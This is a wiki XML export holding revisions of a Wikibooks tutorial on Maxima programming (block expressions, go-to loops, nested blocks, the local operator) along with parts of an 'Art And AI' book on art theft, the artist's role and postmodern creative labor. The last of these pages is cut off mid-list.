* '''&lt;code&gt;assume&lt;/code&gt;:''' When an expression such as &lt;code&gt;assume(x &gt; 0)&lt;/code&gt; is used, Maxima's database system (&lt;code&gt;context&lt;/code&gt;) assigns facts and properties (like &lt;code&gt;pos&lt;/code&gt; or &lt;code&gt;nonnegative&lt;/code&gt;) to the symbol &lt;code&gt;x&lt;/code&gt;, allowing the simplifier to safely reduce expressions like &lt;code&gt;sqrt(x^2)&lt;/code&gt; to &lt;code&gt;x&lt;/code&gt;.

The effect of the &lt;code&gt;local&lt;/code&gt; operator is to make such declarations effective only within a &lt;code&gt;block&lt;/code&gt; expression. Otherwise, declarations within a &lt;code&gt;block&lt;/code&gt; expression are considered to be global declarations.

So what does all of this mean to the typical Maxima user? It means that the list of identifiers that is the first argument  of a &lt;code&gt;block&lt;/code&gt; expression only declares the '''''values''''' of those identifiers as local to the &lt;code&gt;block&lt;/code&gt; expression in which the list is an argument. Any properties of identifiers are not declared local by this means. 

In order to declare '''''properties''''' of identifiers to be local to a &lt;code&gt;block&lt;/code&gt; expression, the &lt;code&gt;local&lt;/code&gt; operator must be used as an expression within the &lt;code&gt;block&lt;/code&gt; expression. At the point where the local operator is evaluated as an argument of a &lt;code&gt;block&lt;/code&gt; expression, the properties of the identifiers that are arguments to the &lt;code&gt;local&lt;/code&gt; operator become local to the block. It is not an unfair criticism that perhaps the &lt;code&gt;local&lt;/code&gt; operator should have been named something like &lt;code&gt;local_properties&lt;/code&gt;. &lt;syntaxhighlight lang=&quot;maxima&quot;&gt;
(%i25)	f(s) := cos (s);
(%o25)	f(s):=cos(s)

(%i26)	f (%pi/6);
(%o26)	sqrt(3)/2

(%i27)	block (local (f), f (s) := sin (s), f (%pi/6));
(%o27)	1/2

(%i28)	f (s);
(%o28)	cos(s)
&lt;/syntaxhighlight&gt;In the above example, the '''''properties''''' of identifier &lt;code&gt;f&lt;/code&gt; were declared to be local in the &lt;code&gt;block&lt;/code&gt; expression using the &lt;code&gt;local&lt;/code&gt; operator. However, global properties of the identifier &lt;code&gt;f&lt;/code&gt; were not affected by the local function definition of &lt;code&gt;f&lt;/code&gt; in the &lt;code&gt;block&lt;/code&gt; expression. The global definition expression of &lt;code&gt;f&lt;/code&gt; which is &lt;code&gt;cos (s)&lt;/code&gt; and the argument &lt;code&gt;s&lt;/code&gt; were not affected by the local definition of &lt;code&gt;f&lt;/code&gt; because the properties of &lt;code&gt;f&lt;/code&gt; were declared local to the &lt;code&gt;block&lt;/code&gt; expression. 

=== Functions ===

=== Lisp and Maxima ===

{{BookCat}}</text>
      <sha1>4gjr3bo1oaztxn0bq9ixbz7fpu8141m</sha1>
    </revision>
    <revision>
      <id>4670558</id>
      <parentid>4670547</parentid>
      <timestamp>2026-09-17T02:42:28Z</timestamp>
      <contributor>
        <username>Idavidmiller</username>
        <id>3577687</id>
      </contributor>
      <minor />
      <comment>/* Mathematical and Evaluation Attributes */</comment>
      <origin>4670558</origin>
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      <format>text/x-wiki</format>
      <text bytes="17858" sha1="qhhbrut1knfu49r5sl926u1p3ohjsmp" xml:space="preserve">=Maxima Programming=
Although Maxima is not a general-purpose programming language, Maxima as a CAS includes among the built-in ingredients a relatively complete set of programming expressions that are useful for the intended context. Many of the code examples of this section are intended to be illustrative of technical details relevant to Maxima programming as their purpose, and consequently are intentionally elementary in character.

Learning any sort of programming language, including Maxima programming expressions, is a subjective process. In any case, it is essential to have enough technical know-how specific to the programming language in order to begin the learning process, even in cases where much positive transfer from other programming experience is involved.

Much can be accomplished mathematically using Maxima without having to resort to in-depth knowledge and proficiency in the technical details of Maxima programming expressions. However, Maxima programming expressions are frequently essential for the purpose of defining functions, both in the programming sense of the term, but also more relevantly, to the mathematical sense. For that reason alone, familiarity and sufficient proficiency with Maxima programming expressions should be given some attention.

One way to begin the learning process is to become familiar with enough of the programming essentials to accomplish independent efforts toward accomplishing some specific programming goal of interest.  The other way is to study the many available programming expressions of others. This section is intended to provide the essentials toward learning by whatever means is chosen.

The following table shows some built-in ingredients related to Maxima programming expressions:
{| class=&quot;wikitable&quot;
|+Maxima Programming Category
|if
|unless
|errcatch
|prederror
|-
|block
|for
|error
|return
|-
|catch
|from
|warning
|throw 
|-
|local
|thru
|errormsg
|sstatus
|-
|garbage_collect
|step
|errormsg
|status
|-
|do
|next
|go
|
|-
|while
|in
|
|
|}

Some of these programming expression ingredients can also be considered as belonging to one or more other categories than the Programming category.

=== Block Expressions ===
Arguably, the first expressions to consider in the context of Maxima programming are '''''block''''' expressions. &lt;code&gt;Block&lt;/code&gt; expressions as programming ingredients come in two flavors:

* &lt;code&gt;( expr&lt;sub&gt;1&lt;/sub&gt;, expr&lt;sub&gt;2&lt;/sub&gt;,…, expr&lt;sub&gt;n&lt;/sub&gt; )&lt;/code&gt;
* &lt;code&gt;block ([v&lt;sub&gt;1&lt;/sub&gt;,v&lt;sub&gt;2,&lt;/sub&gt;…,v&lt;sub&gt;m&lt;/sub&gt;], expr&lt;sub&gt;1&lt;/sub&gt;, expr&lt;sub&gt;2&lt;/sub&gt;,…, expr&lt;sub&gt;n&lt;/sub&gt;)&lt;/code&gt;

The first form of a &lt;code&gt;block&lt;/code&gt; expression is equivalent to the second form, but without the first list argument: &lt;code&gt;[v&lt;sub&gt;1&lt;/sub&gt;,v&lt;sub&gt;2,&lt;/sub&gt;…,v&lt;sub&gt;m&lt;/sub&gt;]&lt;/code&gt;, as in &lt;code&gt;block (expr&lt;sub&gt;1&lt;/sub&gt;, expr&lt;sub&gt;2&lt;/sub&gt;,…, expr&lt;sub&gt;n&lt;/sub&gt;&lt;/code&gt;, unless &lt;code&gt;return&lt;/code&gt; or &lt;code&gt;go&lt;/code&gt; are used in the block expression. In that, case the form &lt;code&gt;block (expr&lt;sub&gt;1&lt;/sub&gt;, expr&lt;sub&gt;2&lt;/sub&gt;,…, expr&lt;sub&gt;n&lt;/sub&gt;)&lt;/code&gt; must be used.

The purpose of the list argument,  &lt;code&gt;[v&lt;sub&gt;1&lt;/sub&gt;,v&lt;sub&gt;2,&lt;/sub&gt;…,v&lt;sub&gt;m&lt;/sub&gt;]&lt;/code&gt; is to declare the values of identifiers of the list to be local to the &lt;code&gt;block&lt;/code&gt;. If there is no need for local identifiers, the list argument can be omitted (unless &lt;code&gt;return&lt;/code&gt; or &lt;code&gt;go&lt;/code&gt; are used in the &lt;code&gt;block&lt;/code&gt; expression), and either form is sufficient.&lt;syntaxhighlight lang=&quot;maxima&quot;&gt;/* This block expression */
(%i1)	(x : 2, x^2);
(%o1)	4

/* Is equivalent to this block expression */
(%i2)	block (x : 2, x^2);
(%o2)	4&lt;/syntaxhighlight&gt;So, in the case where values of identifiers local to the &lt;code&gt;block&lt;/code&gt; of expressions are not required, then the choice of either form of the &lt;code&gt;block&lt;/code&gt; expression is a matter of user preference, . In both cases, the values of identifiers referenced in the &lt;code&gt;block&lt;/code&gt; are global, and not local to the &lt;code&gt;block&lt;/code&gt;.&lt;syntaxhighlight lang=&quot;maxima&quot;&gt;
/* The value 3 assigned to x is global */
(%i3)	x : 3;
(x)	    3

/* The value 2 assigned to x in the block is global */
(%i4)	(x : 2, x^2);
(%o4)	4

/* The global value assigned to x in the block is 2 not 3 */
(%i5)	x;
(%o5)	2
&lt;/syntaxhighlight&gt;Values of identifiers local to the &lt;code&gt;block&lt;/code&gt; may not be global:&lt;syntaxhighlight lang=&quot;maxima&quot;&gt;/* the value of identifier y is local only */
(%i6)	block ([y], y : 4, y);
(%o6)	4

/* the global value of identifier y is not 4, but is itself */
(%i7)	y;
(%o7)	y

/* the values of identifiers x and y are both local */
(%i8)	block ([x,y], x : 3, y : 4, x);
(%o8)	3

/* the global value of identifier x is not 3, but is 2 */
(%i9)	x;
(%o9)	2

/* the global value of identifier y is not 4, but is itself */
(%i10)	y;
(%o10)	y&lt;/syntaxhighlight&gt;

Regardless of the form of the &lt;code&gt;block&lt;/code&gt; expressions these have in common the comma-separated expression arguments &lt;code&gt;expr&lt;sub&gt;1&lt;/sub&gt;, expr&lt;sub&gt;2&lt;/sub&gt;,…, expr&lt;sub&gt;n&lt;/sub&gt;&lt;/code&gt;  which are evaluated each in turn from first to last (unless the evaluation sequence is modified by by the &lt;code&gt;go&lt;/code&gt;, &lt;code&gt;throw&lt;/code&gt;, or &lt;code&gt;return&lt;/code&gt; operators), and the value of the block expression is the value of &lt;code&gt;expr&lt;sub&gt;n&lt;/sub&gt;&lt;/code&gt;. 

The main purpose of the &lt;code&gt;block&lt;/code&gt; expression, regardless of the form, it to group expressions that are related in some manner, and the value of the last expression may be the only value of interest. However, there are very few limitations imposed on the nature of the &lt;code&gt;block&lt;/code&gt; expression arguments, so it might be the case that the purpose of evaluating the &lt;code&gt;block&lt;/code&gt; expression has been achieved before the last expression argument is evaluated, in which case the value of the &lt;code&gt;block&lt;/code&gt; expression may not necessarily be the value of the last argument expression.

One way to accomplish that is to use an empty string as the last argument expression with the option flag &lt;code&gt;stringdisp&lt;/code&gt; set to &lt;code&gt;false&lt;/code&gt; which is the default value.&lt;syntaxhighlight lang=&quot;maxima&quot;&gt;
(%i11)	stringdisp;
(%o11)	false

(%i12)	block ([x,y], x : 3, y : 4, x, &quot;&quot;);
(%o12)	

(%i13)	block ([x,y], x : 3, y : 4, x)$
&lt;/syntaxhighlight&gt;
The display of the value of the &lt;code&gt;block&lt;/code&gt; expression may be suppressed using a &lt;code&gt;$&lt;/code&gt; to end the input expression instead of a semi-colon. Either technique produces a &lt;code&gt;block&lt;/code&gt; expression value, but the value is not displayed. If a &lt;code&gt;return&lt;/code&gt; operator is evaluated as a argument expression, this will cause evaluation of expression arguments to end explicitly, and the value of the &lt;code&gt;return&lt;/code&gt; operator becomes the value of the &lt;code&gt;block&lt;/code&gt; expression.&lt;syntaxhighlight lang=&quot;maxima&quot;&gt;
(%i14)	is (equal (x,2));
(%o14)	true

%i15)	block (if is (equal (x,2)) then return (x), &quot; x not 2&quot;);
(%o15)	2

(%i16)	x : 3;
(x)	3

(%i17)	block (if is (equal (x,2)) then return (x), &quot;x not 2&quot;);
(%o17)	x not 2
&lt;/syntaxhighlight&gt;

==== Block Expression Evaluation Sequence Modifications ====
Block expression arguments &lt;code&gt;expr&lt;sub&gt;1&lt;/sub&gt;, expr&lt;sub&gt;2&lt;/sub&gt;,…, expr&lt;sub&gt;n&lt;/sub&gt;&lt;/code&gt;  are generally evaluated each in turn from first to last, and the value of the block expression is the value of &lt;code&gt;expr&lt;sub&gt;n&lt;/sub&gt;&lt;/code&gt; unless this sequence is modified by some means.

One way to modify the first-to-last expression evaluation sequence of a &lt;code&gt;block&lt;/code&gt; expression is by way of a &lt;code&gt;go&lt;/code&gt; operator with a label (or &quot;tag&quot;) argument ( the &quot;''go to''&quot;) as the following exemplifies:&lt;syntaxhighlight lang=&quot;maxima&quot;&gt;
(%i18)	sum_to_n (n) := block ( [i : 1, total : 0],
	                             loop,
	                                total : total + i,
	                                i : i + 1,
	                                if i &lt;= n then go (loop),
	                             total)$

(%i19)	sum_to_n(25);
(%o19)	325

(%i20)	n;
(%o20)	n

(%i21)	i;
(%o21)	i

(%i22)	total;
(%o22)	total
&lt;/syntaxhighlight&gt;Note the following:

* &lt;code&gt;block ([ i : 1,total : 0], ...)&lt;/code&gt;: The list argument creates a local environment with local identifiers &lt;code&gt;i&lt;/code&gt; and &lt;code&gt;total&lt;/code&gt;. The function argument &lt;code&gt;n&lt;/code&gt; is also a local identifier.
* &lt;code&gt;loop&lt;/code&gt;: This label serves as a target inside the &lt;code&gt;block&lt;/code&gt; expression to where &lt;code&gt;go (loop)&lt;/code&gt; can jump.
* &lt;code&gt;if i &lt;= n then go (loop)&lt;/code&gt;: This conditional expression causes the &lt;code&gt;go (loop)&lt;/code&gt; operator to be evaluated if the condition is &lt;code&gt;true&lt;/code&gt;.
* &lt;code&gt;total&lt;/code&gt;: The value of this local identifier is the returned value of the block.
It should also be worth noting that the identifiers &lt;code&gt;n&lt;/code&gt;, &lt;code&gt;i&lt;/code&gt;, and &lt;code&gt;total&lt;/code&gt; have local values assigned within the block, but their global values are themselves. Also notice that the identifiers &lt;code&gt;i&lt;/code&gt; and &lt;code&gt;total&lt;/code&gt; were both declared local and assigned initial values within the &lt;code&gt;block&lt;/code&gt; list argument.

The go-to label argument of the &lt;code&gt;go&lt;/code&gt; operator must be the name of a tag appearing within the same block expression. The &lt;code&gt;go&lt;/code&gt; operator cannot be used to go to a tag in a different block expression. There is nothing special about the &lt;code&gt;loop&lt;/code&gt; identifier name used for the go-to tag in this example. Other identifiers could be used, but they must be atomic.

==== Nested Block Expressions ====
Block operators may appear within other block expressions as arguments – '''''nested''''' block expressions. A local environment with local identifiers may be created for nested block expressions. Local values for identifiers, if declared by a first &lt;code&gt;block&lt;/code&gt; operator list argument, are created each time a nested block is evaluated.  

However, identifiers with global values that have not been declared as local within any &lt;code&gt;block&lt;/code&gt; expressions, are global values for nested &lt;code&gt;block&lt;/code&gt; expressions as well as enclosing &lt;code&gt;block&lt;/code&gt; expressions. Likewise, local identifiers of any enclosing &lt;code&gt;block&lt;/code&gt; expression have values that are global within any enclosed blocks, if not declared as local within the enclosed block. If the value of an identifier is not local in a &lt;code&gt;block&lt;/code&gt; expression, its value is the value most recently assigned by an enclosing &lt;code&gt;block&lt;/code&gt; expression, if any value has been assigned. Otherwise, it is the value of the identifier in the global environment. &lt;syntaxhighlight lang=&quot;maxima&quot;&gt;
(%i23)	z : 2^(1/3);
(z)	2^(1/3)

(%i24) /* Outer block starts */
	block 
	(
	 [x : 10, y : 20],
	 /* values of x and y declared local to outer block */
	  
	 /* Inner block starts */
	     block 
	     (
	      [y : 99, z : 100], 
	      /* values of y and z declared local to inner block */
	      print (&quot;Inside inner block:&quot;),
	      print (&quot;x =&quot;,  x, &quot;is the value of x from outer block&quot;),
	      print (&quot;y =&quot;,  y, &quot;is the local value of y of outer block&quot;),
	      print(&quot;z =&quot;,  z, &quot;is the local value of z of inner block&quot;)
	     ),
	 /* Inner block ends */
	 
	 /* Outer block resumes */
	 print (&quot;Back in outer block:&quot;),
	 print (&quot;x =&quot;,  x, &quot;is the value of x from outer block&quot;),
	 print (&quot;y =&quot;,  y,  &quot;is the restored value of y of the outer block&quot;),
	 print (&quot;z =&quot;,  z,  &quot;is the value of z global to both blocks&quot;)
	 /* Outer block ends */
	)$
	
Inside inner block:
x = 10 is the value of x from outer block
y = 99 is the local value of y of outer block
z = 100 is the local value of z of inner block
Back in outer block:
x = 10 is the value of x from outer block
y = 20 is the restored value of y of the outer block
z = 2^(1/3) is the value of z global to both blocks
&lt;/syntaxhighlight&gt;

==== Values, Properties, and the &lt;code&gt;local&lt;/code&gt; Operator ====
The expression &lt;code&gt;local (v&lt;sub&gt;1&lt;/sub&gt;, v&lt;sub&gt;2&lt;/sub&gt;, ... , v&lt;sub&gt;m&lt;/sub&gt;)&lt;/code&gt; within a &lt;code&gt;block&lt;/code&gt; expression saves the '''''properties''''' associated with the symbols &lt;code&gt;v&lt;sub&gt;1&lt;/sub&gt;, v&lt;sub&gt;2&lt;/sub&gt;, ... , v&lt;sub&gt;m&lt;/sub&gt;&lt;/code&gt;, removes any properties before evaluating other expressions, and restores any saved properties on exit from the block.

Because Maxima is an application based on the Common Lisp programming language, it utilizes Lisp '''''symbol''''' structure. Lisp symbols are objects that carry their own &quot;dictionary&quot; of attributes. A Lisp symbol's internal property list (''plist'') is a built-in data structure attached directly to a symbol. Maxima uses this underlying Lisp symbol structure to associate '''''properties''''' with Maxima identifiers.

Properties of identifiers can be ''declared explicitly'' by users. &lt;syntaxhighlight lang=&quot;maxima&quot;&gt;
(%i23)	declare (x, real);
(%o23)	done
&lt;/syntaxhighlight&gt;
However, some identifier property declarations are ''implemented implicitly'' as properties of a symbol, including &lt;code&gt;:=&lt;/code&gt;, &lt;code&gt;array&lt;/code&gt;, &lt;code&gt;dependencies&lt;/code&gt;, &lt;code&gt;atvalue&lt;/code&gt;, &lt;code&gt;matchdeclare&lt;/code&gt;, &lt;code&gt;atomgrad&lt;/code&gt;, &lt;code&gt;constant&lt;/code&gt;, &lt;code&gt;nonscalar&lt;/code&gt;, &lt;code&gt;assume&lt;/code&gt;, and some others. Below is a description of how each of those specific declarations is implemented as a property under the hood:

====== Functions and Arrays ======
* '''&lt;code&gt;:=&lt;/code&gt; (Function Definition):''' When you define a function using &lt;code&gt;f(x) := x^2&lt;/code&gt;, the actual expression (&lt;code&gt;x^2&lt;/code&gt;) and its argument list (&lt;code&gt;x&lt;/code&gt;) are stored as a property of the symbol &lt;code&gt;f&lt;/code&gt;.
* '''&lt;code&gt;array&lt;/code&gt;:''' When you declare or use a subscripted array (like &lt;code&gt;a[i]&lt;/code&gt;), the array type, dimensions, and memory pointer are attached as a property to the symbol &lt;code&gt;a&lt;/code&gt;. This differentiates it from a standard scalar variable.

====== Calculus and Dependencies ======
* '''&lt;code&gt;dependencies&lt;/code&gt;:''' If you declare &lt;code&gt;depends(y, x)&lt;/code&gt;, Maxima attaches a dependency list property to &lt;code&gt;y&lt;/code&gt; noting that it functionally depends on &lt;code&gt;x&lt;/code&gt;. This tells the &lt;code&gt;diff&lt;/code&gt; (differentiation) engine not to treat &lt;code&gt;y&lt;/code&gt; as a constant relative to &lt;code&gt;x&lt;/code&gt;.
* '''&lt;code&gt;atvalue&lt;/code&gt;:''' When you define a specific value for an expression at a boundary point (e.g., &lt;code&gt;atvalue(y, x=0, 1)&lt;/code&gt;), this boundary constraint is stored as an evaluation property on the symbol &lt;code&gt;y&lt;/code&gt;.
* '''&lt;code&gt;atomgrad&lt;/code&gt;:''' This assigns a specific gradient or derivative to an atomic identifier (e.g., telling Maxima what (df/dx) is explicitly). Maxima saves this rule as a gradient property on that symbol.

====== Pattern Matching and Rules ======
* '''&lt;code&gt;matchdeclare&lt;/code&gt;:''' Used in Maxima's pattern-matching system (like &lt;code&gt;tellsimp&lt;/code&gt;). When you type &lt;code&gt;matchdeclare(x, freeof(a))&lt;/code&gt;, Maxima attaches a predicate property to &lt;code&gt;x&lt;/code&gt;. When a pattern rule runs, Maxima looks at property list of &lt;code&gt;x&lt;/code&gt; to see what conditions a matching expression must meet.

====== Mathematical and Evaluation Attributes ======
* '''&lt;code&gt;constant&lt;/code&gt;:''' Declaring &lt;code&gt;declare(c, constant)&lt;/code&gt; places a &quot;constant&quot; flag on property list of  &lt;code&gt;c&lt;/code&gt;. Core routines (like integration and differentiation) check this flag to know they can pull &lt;code&gt;c&lt;/code&gt; out of integrals or differentiate it to zero.
* '''&lt;code&gt;nonscalar&lt;/code&gt;:''' Tells Maxima to treat a symbol as a matrix or vector rather than a regular number. This property changes how operators like &lt;code&gt;.&lt;/code&gt; (non-commutative multiplication) treat the symbol.
* '''&lt;code&gt;assume&lt;/code&gt;:''' When an expression such as &lt;code&gt;assume(x &gt; 0)&lt;/code&gt; is used, Maxima's database system (&lt;code&gt;context&lt;/code&gt;) assigns facts and properties (like &lt;code&gt;pos&lt;/code&gt; or &lt;code&gt;nonnegative&lt;/code&gt;) to the symbol &lt;code&gt;x&lt;/code&gt;, allowing the simplifier to safely reduce expressions like &lt;code&gt;sqrt(x^2)&lt;/code&gt; to &lt;code&gt;x&lt;/code&gt;.

The effect of the &lt;code&gt;local&lt;/code&gt; operator is to make such declarations effective only within a &lt;code&gt;block&lt;/code&gt; expression. Otherwise, declarations within a &lt;code&gt;block&lt;/code&gt; expression are considered to be global declarations.

So what does all of this mean to the typical Maxima user? It means that the list of identifiers that is the first argument  of a &lt;code&gt;block&lt;/code&gt; expression only declares the '''''values''''' of those identifiers as local to the &lt;code&gt;block&lt;/code&gt; expression in which the list is an argument. Any properties of identifiers are not declared local by this means. 

In order to declare '''''properties''''' of identifiers to be local to a &lt;code&gt;block&lt;/code&gt; expression, the &lt;code&gt;local&lt;/code&gt; operator must be used as an expression within the &lt;code&gt;block&lt;/code&gt; expression. At the point where the local operator is evaluated as an argument of a &lt;code&gt;block&lt;/code&gt; expression, the properties of the identifiers that are arguments to the &lt;code&gt;local&lt;/code&gt; operator become local to the block. It is not an unfair criticism that perhaps the &lt;code&gt;local&lt;/code&gt; operator should have been named something like &lt;code&gt;local_properties&lt;/code&gt;. &lt;syntaxhighlight lang=&quot;maxima&quot;&gt;
(%i25)	f (s) := cos (s);
(%o25)	f(s):=cos(s)

(%i26)	f (%pi/6);
(%o26)	sqrt(3)/2

(%i27)	block (local (f), f (s) := sin (s), f (%pi/6));
(%o27)	1/2

(%i28)	f (s);
(%o28)	cos(s)
&lt;/syntaxhighlight&gt;In the above example, the '''''properties''''' of identifier &lt;code&gt;f&lt;/code&gt; were declared to be local in the &lt;code&gt;block&lt;/code&gt; expression using the &lt;code&gt;local&lt;/code&gt; operator. However, global properties of the identifier &lt;code&gt;f&lt;/code&gt; were not affected by the local function definition of &lt;code&gt;f&lt;/code&gt; in the &lt;code&gt;block&lt;/code&gt; expression. The global definition expression of &lt;code&gt;f&lt;/code&gt; which is &lt;code&gt;cos (s)&lt;/code&gt; and the argument &lt;code&gt;s&lt;/code&gt; were not affected by the local definition of &lt;code&gt;f&lt;/code&gt; because the properties of &lt;code&gt;f&lt;/code&gt; were declared local to the &lt;code&gt;block&lt;/code&gt; expression. 

=== Functions ===

=== Lisp and Maxima ===

{{BookCat}}</text>
      <sha1>qhhbrut1knfu49r5sl926u1p3ohjsmp</sha1>
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  </page>
  <page>
    <title>Art And AI/Art Theft</title>
    <ns>0</ns>
    <id>485525</id>
    <revision>
      <id>4670546</id>
      <parentid>4670152</parentid>
      <timestamp>2026-09-17T01:57:10Z</timestamp>
      <contributor>
        <username>3MMPEYTON</username>
        <id>3393808</id>
      </contributor>
      <origin>4670546</origin>
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      <format>text/x-wiki</format>
      <text bytes="2699" sha1="2mr5t94ahrbna90a6l6y6te3coawsiq" xml:space="preserve">== Post-Modern Art Theft? ==
&lt;br&gt;
In our post Post-Modern world, Art may be considered a ontological event, not a object of interpretation. Post-Modernism had already destabilized meaning, while AI destabilizes authorship. [1]
&lt;br&gt;
&lt;br&gt;
For example: &lt;br&gt;
- If a idea, a concept, or an intention makes the work &quot;Art,&quot; then what happens when other people try to steal the Artist's ideas, or try to imitate their &quot;intentions?&quot; &lt;br&gt;
&lt;br&gt;
- If a Photographer takes a beautiful image of a sunset, near 10 other Photographers, who are also capturing nature's beauty, then does authorship become shared? &lt;br&gt;
&lt;br&gt;
'''What Counts As Art Theft In The AI Era?''' &lt;br&gt;
&lt;br&gt;
1. One clear example of Art Theft is scraping Artist's copyrighted images without consent. &lt;br&gt;
Scrapping copyrighted images means using automated computer programs to extract and download photos or artworks from websites without the owner's permission. &lt;br&gt;
&lt;br&gt;
How It Works: &lt;br&gt;
- Automated Bots: Software visits web pages and copies image files or URLs in bulk. &lt;br&gt;
- Mass Collections: Scrapers gather hundreds or millions of images at once. &lt;br&gt;
- Data Storage: The pictures are saved into a local database or server. [2]&lt;br&gt; 
&lt;br&gt;
Artists who make visual Art have reported works that had been scraped from platforms like DeviantArt, Art Station, Instagram, and personal portfolio sites. These works of Art are incorporated into training datasets for models such as Midjourney and Stable Diffusion. &lt;br&gt;
These acts occurred without permission, compensation, or notification. &lt;br&gt;
&lt;br&gt;
This Is A Post-Modern Form of Theft: &lt;br&gt;
- The copyrighted image is copied into a dataset &lt;br&gt;
- The AI model learns from it &lt;br&gt;
- The Artist receives no credit or payments &lt;br&gt;
&lt;br&gt;
2. AI models generate images that are able to imitate a specific style associated with a Artist. This sits in a grey zone. &lt;br&gt;
Legally, if the AI model only imitates style, than the Artist is not protected under current law. &lt;br&gt;
&lt;br&gt;
AI systems can generate images &quot;in the style&quot; of a working Artist, which competes with that Artist in the marketplace. This undermines the Artist's ability to earn income from commissions, licensing, and stylistic uniqueness. &lt;br&gt;
&lt;br&gt;
Link: https://en.wikibooks.org/wiki/Art_And_AI/Tools_Of_The_Artist
&lt;br&gt;
&lt;br&gt;
Link: https://en.wikibooks.org/wiki/Art_And_AI/Earning_A_Living
&lt;br&gt;
&lt;br&gt;
=== Reference Section: ===
 
1. Peyton, Minda. Feed Your Head: Art, Truth, And The Machine. Amazon KDP
Aug 24, 2026. 
&lt;br&gt;
&lt;br&gt;
2. Protector, Lex. The Legality of Data Scraping: The Reality and The Myth. Aug 18, 2022. www.medium.com
&lt;br&gt;
&lt;noinclude&gt;{{Chapter navigation with TOC||Earning A Living|TOC mini}}&lt;/noinclude&gt;
&lt;br&gt;

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    <title>Art And AI/The Role Of The Artist</title>
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      <text bytes="4131" sha1="hr6rx7rhtlf4c8fhbr0cef7ilg53j36" xml:space="preserve">== The Role Of The Artist ==

According to Artwork Archive: &quot;An Artist's role is to communicate ideas, evoke emotions, and challenge societal perspectives through creative expression.&quot; [1.]

'''Artists are:''' &lt;br&gt;
&lt;br&gt;
- Emotional channels &lt;br&gt;
- Creative conduits &lt;br&gt;
- Social Ambassadors &lt;br&gt;
- They tell stories and pass on traditions &lt;br&gt;
- They record and preserve human history &lt;br&gt;
- They unearthing the Truth &lt;br&gt;
- They inspire other people &lt;br&gt;
&lt;br&gt;
==== Artists As Emotional Channels: ====
Artists act as emotional channels. They translate inner emotions, trauma, and difficult life experiences into real visual or auditory records. &lt;br&gt;
The physical act of making Art releases stress. Art Therapy may have evolved as a fun stress-releaser. &lt;br&gt;
Artists who turn their personal pain, or joy, into shared works of Art help to expand empathy, and help viewers recognize their experiences. &lt;br&gt;

==== Artists As Creative Conduit: ====
&quot;The Artist acts as a creative conduit when they channel hidden thoughts, symbols, and universal archetypes from the unconscious mind into physical Art.&quot; &lt;br&gt;
&lt;br&gt;
Tools that make it easier to express complex emotions and ideas are also considered creative conduits. &lt;br&gt;
&lt;br&gt;
Carl Jung theorized that the unconsciousness holds a collective layer shared by all humans. Reoccurring symbols are called archetypes. These symbols are psychological patterns that are shared by all people. These psychological patterns connect people across cultures. Artists may tap into these shared ancient patterns, creating stories and paintings that evoke deep, universal emotions.  [ 2.]&lt;br&gt;
&lt;br&gt;
Erich Neumann, a Jewish German analytical Psychologist, described creative work as a mix of being &quot;possessed&quot; by an invisible force and staying open. Art allows our conscious mind to see deeper connections, or a complex reality, when our conscious awareness is joined with our unconscious mind. [3.]&lt;br&gt;
&lt;br&gt;
==== Artists As Social Ambassadors: ====
Artists can act as social Ambassadors by giving voice to the voiceless, by championing important causes, and by using their platforms online to reflect cultural truths, explore different realities, or connect people from around the world together. &lt;br&gt; 
&lt;br&gt;
Artists tell stories. They pass along information. They record and preserve their traditions, leaving historic records for other people to observe and analyze. Artists also unearth the truth. Pablo Picasso famously stated that &quot;Art is a lie that makes us realize truth.&quot; &lt;br&gt;
According to Assistant, a bot on Quora: Art exposes truths that are experiential, structural, ethical, and perceptual -- truths about how life feels, how systems operate, and how meaning is made. It does this through condensation, symbol, empathy, and form rather than literal documentation.&quot; [4] &lt;br&gt;
&lt;br&gt;
Artists reflect human emotions. They paint people who seem to cry or feel grief. Artists like Banksy, a popular graffiti Artist, uses his poetic imagery to question power, and to criticize unjust behaviors in society. Although Art images are not real, they can help people see reality better. Artists encourage people to participate. Works of Art can be viewed in galleries, schools, churches and community centers. Artist inspire people to expand their imaginations, to share their dreams in tangible forms, and to be moved by images of beauty. Artists inspire other people to be creative, reflective, and to remain socially active. &lt;br&gt;
&lt;br&gt;
Link: https://en.wikibooks.org/wiki/Art_And_AI/Earning_A_Living
&lt;br&gt;
&lt;br&gt;
Link: https://en.wikibooks.org/wiki/Art_And_AI/Art_Theft &lt;br&gt;
&lt;br&gt;
=== Reference Section: === 
1. Katie Carey, &quot;What Is the Artist's Role in Society?&quot; October 24, 2017. Updated June 23, 2022 www.artworkarchive.com

2. Kendra Cherry, MSEd. &quot;What Are The Jungian Archetypes?&quot; June 5, 2026 www.verywellmind.com 

3. Maria Popova, &quot;Art And The Creative Unconscious: Erich Neumann On The Psychology Of Transformation.&quot; www.themarginalian.org  &lt;br&gt; 

4. Assistant Bot &quot;Does Art Expose Truth?&quot; Quora 2025
&lt;br&gt;
&lt;noinclude&gt;{{Chapter navigation with TOC||Art Theft|TOC mini}}&lt;/noinclude&gt;
&lt;br&gt;

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      <text bytes="3378" sha1="cnm1zbybg47kizpihf84zchk55erhv5" xml:space="preserve">== Post-Modernist In A Consumer Society ==

Post-modernism in our society, heavily influenced by our desires to consume new products, is a cultural condition where identity, reality, and value are defined by buying and consuming images, signs, and commodities rather than by producing tangible goods. [[https://doi.org/10.1002/9781405165518.wbeosp065.pub2 Pauline MacLaran &quot;Postmodern Consumption&quot;]]

In America, Post-Modern Artists in our consumer society earn money by navigating new labor markets influenced by AI. Instead of earning money exclusively through Art galleries, many post-modern Artists find work around platforms, and through hybrid human-machine productions.

Research shows that AI is replacing Artists, AI is also restructuring our labor markets and redistributing authority. According to Creative Labor and Generative AI, Artists increasingly work through digital platforms. &lt;br&gt;
Examples include: &lt;br&gt;
- Selling digital Art &lt;br&gt;
- Licensing images to AI training platforms &lt;br&gt;
- Subscription-based creative services &lt;br&gt;
- Hybrid human-AI content production for clients &lt;br&gt;
&lt;br&gt;
Unfortunately, these earnings are fragmented, inconsistent and precarious. [2] &lt;br&gt;
&lt;br&gt;
Post-Modernist Labor is Undermined by Dependency On Systems That Simultaneously Empower And Compete With The Artists:
 
There appears to be asymmetrical relations between Artists and AI Systems: &lt;br&gt;
- AI companies hold capital, data, and distribution power. &lt;br&gt;
- Artists supply labor, style, and cultural knowledge. &lt;br&gt;
- The relationship is not equal. Artists often depend on the platform that also competes with them. [3]

==== The Post-Modernism Strike: ====
The Writer's Guild of America strike was a major example of Artists fighting for Economic protection in the AI era. &lt;br&gt;
Key facts: &lt;br&gt;
- 148 day strike &lt;br&gt;
